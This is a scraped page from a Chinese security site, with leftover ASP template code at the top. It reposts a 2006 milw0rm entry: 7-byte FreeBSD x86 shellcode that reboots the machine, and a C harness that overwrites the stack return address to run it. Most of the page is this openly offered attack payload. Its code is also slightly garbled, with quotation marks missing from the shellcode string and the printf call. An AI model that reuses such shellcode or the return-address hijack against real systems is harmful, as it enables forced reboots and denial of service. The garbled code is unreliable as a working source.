<% dim ModuleName,InfoID,ChannelShortName,CorrelativeArticle,InstallDir,ChannelDir,Keyword,PageTitle,ArticleIntro,Articlecontent Keyword=stripHTML("char,gt") PageTitle=stripHTML("freebsd/x86 reboot(RB_AUTOBOOT) Shellcode 7 bytes") ArticleIntro=stripHTML("77169.com小编引言:freebsd/x86 reboot(RB_AUTOBOOT) Shellcode 7 bytes,漏洞的主要原因:") Articlecontent=stripHTML("/*
 *
 * FreeBSD_x86-reboot-7b.c (Shellcode, reboot(RB_AUTOBOOT), 7 bytes)
 *
 *…") ModuleName = stripHTML("exploits") InfoID = stripHTML("139152") ChannelShortName=stripHTML("漏洞") InstallDir=stripHTML("http://www.77169.com/") ChannelDir=stripHTML("exploits") %> freebsd/x86 reboot(RB_AUTOBOOT) Shellcode 7 bytes - 华盟网 - http://www.77169.com
您现在的位置: 华盟网 >> 漏洞 >> shellcode >> 正文

freebsd/x86 reboot(RB_AUTOBOOT) Shellcode 7 bytes

2006/4/17 作者:不祥 来源: 互联网
导读 <% if len(ArticleIntro)<3 then Response.Write Articlecontent 'Response.Write "Articlecontent" else Response.Write ArticleIntro 'Response.Write "ArticleIntro" end if %>

/*
*
* FreeBSD_x86-reboot-7b.c (Shellcode, reboot(RB_AUTOBOOT), 7 bytes)
*
* by IZ <guerrilla.sytes.net>
*
*/


char shellcode[] =
\x31\xc0 /* xor %eax,%eax */

\x50 /* push %eax */
\xb0\x37 /* mov $0x37,%al */
\xcd\x80; /* int $0x80 */


void main()
{
int* ret;

ret = (int*) &ret + 2;

printf(len %d\n,strlen(shellcode));

(*ret) = (int) shellcode;
}

// milw0rm.com [2006-04-19]